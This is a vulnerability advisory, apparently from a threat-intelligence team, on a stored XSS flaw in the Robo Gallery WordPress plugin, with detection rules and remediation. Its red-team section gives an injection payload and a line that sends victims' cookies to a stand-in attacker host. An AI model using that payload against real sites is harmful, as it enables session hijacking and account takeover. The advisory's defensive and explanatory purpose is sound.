CVE-2024-49696

Executive Summary

CVE-2024-49696 is a Stored Cross-Site Scripting (XSS) vulnerability in the Robosoft Robo Gallery WordPress plugin, affecting versions up to and including 3.2.21. This vulnerability allows an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject arbitrary web scripts or HTML into gallery pages. When a victim (including other administrators or site visitors) views the compromised gallery, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites.

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape certain fields before storing them in the database and later rendering them on the frontend. As of the latest analysis, no official patch has been released by the vendor, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, the supply chain risk is limited to the WordPress ecosystem. However, administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications. The lack of a patch increases the risk of supply chain attacks if the plugin is bundled with themes or other plugins.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
Base Score: 5.9 (Medium)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or timing required.
• Privileges Required (PR): High – An attacker must have at least Editor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must visit the compromised gallery page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., other browser tabs or cookies).
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and site defacement makes this a serious concern for WordPress administrators.

Deep Dive & Mechanics

The Robo Gallery plugin allows users to create and manage image galleries. The vulnerability lies in the improper handling of input fields such as gallery titles, descriptions, or image captions. When an authenticated user with sufficient privileges (e.g., Editor or Administrator) creates or edits a gallery, the plugin does not properly sanitize or escape the input before storing it in the WordPress database.

When the gallery is rendered on the frontend, the stored malicious input is output without proper encoding, allowing the execution of arbitrary JavaScript in the context of the victim's browser. This is a classic Stored XSS (also known as Persistent XSS) vulnerability.

Attack Flow:

1. Attacker logs in with Editor or Administrator credentials.
2. Attacker creates or edits a gallery and injects malicious JavaScript into a vulnerable field (e.g., gallery title).
3. The malicious payload is stored in the database.
4. A victim (e.g., another admin or site visitor) navigates to the page containing the gallery.
5. The victim's browser executes the injected script, which can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_title() without applying WordPress escaping functions such as esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example from Robo Gallery <= 3.2.21):

// In a template file or shortcode handler
echo '<h2>' . $gallery_title . '</h2>';

Patched Code (Hypothetical):

// Properly escape output
echo '<h2>' . esc_html( $gallery_title ) . '</h2>';

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Additionally, input validation should be applied on the server side using sanitize_text_field() or wp_kses().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Robo Gallery plugin version <= 3.2.21.
• Valid user account with Editor or Administrator privileges.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Robo Gallery > Add New or edit an existing gallery.
3. In the Gallery Title field, inject the following payload:

   <script>alert('XSS');</script>
   

4. Save the gallery.
5. As a victim, visit the page displaying the gallery. The JavaScript executes.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie;</script>

Note: No public exploit code is available from Exploit-DB or other sources. The above is a generic demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual gallery creation or editing activity.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the Robo Gallery plugin until a patch is released.
• Restrict Editor and Administrator privileges to trusted users only.
• Apply input validation and output escaping using WordPress functions.
• Use a security plugin like Wordfence or Sucuri to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File Hashes (MD5): (None available – plugin files may vary by version)
• Suspicious Database Entries: Look for gallery titles or descriptions containing <script> tags or encoded JavaScript.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log Entries: Unusual POST requests to /wp-admin/admin-ajax.php or gallery edit pages with encoded payloads.
• Browser Behavior: Unexpected redirects, pop-ups, or cookie theft alerts.

Detection Engineering

YARA Rule

rule CVE_2024_49696_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Robo Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49696"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $gallery_field = /robo-gallery/i
    condition:
        $gallery_field and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Robo Gallery Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Robo Gallery plugin fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'robo-gallery'
        http.body|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in gallery descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49696 Stored XSS in Robo Gallery"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"robo-gallery"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Robo Gallery plugin until a patch is available.
2. Review and sanitize all existing gallery entries for malicious content.
3. Change all admin passwords if compromise is suspected.

Long-term Mitigation:

• Monitor the vendor's website or WordPress plugin repository for an official patch.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege – limit Editor and Administrator roles.
• Regularly audit WordPress plugins and themes for vulnerabilities.

Workaround:

• If the plugin cannot be disabled, use a security plugin to add output escaping filters. However, this is not a complete fix.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.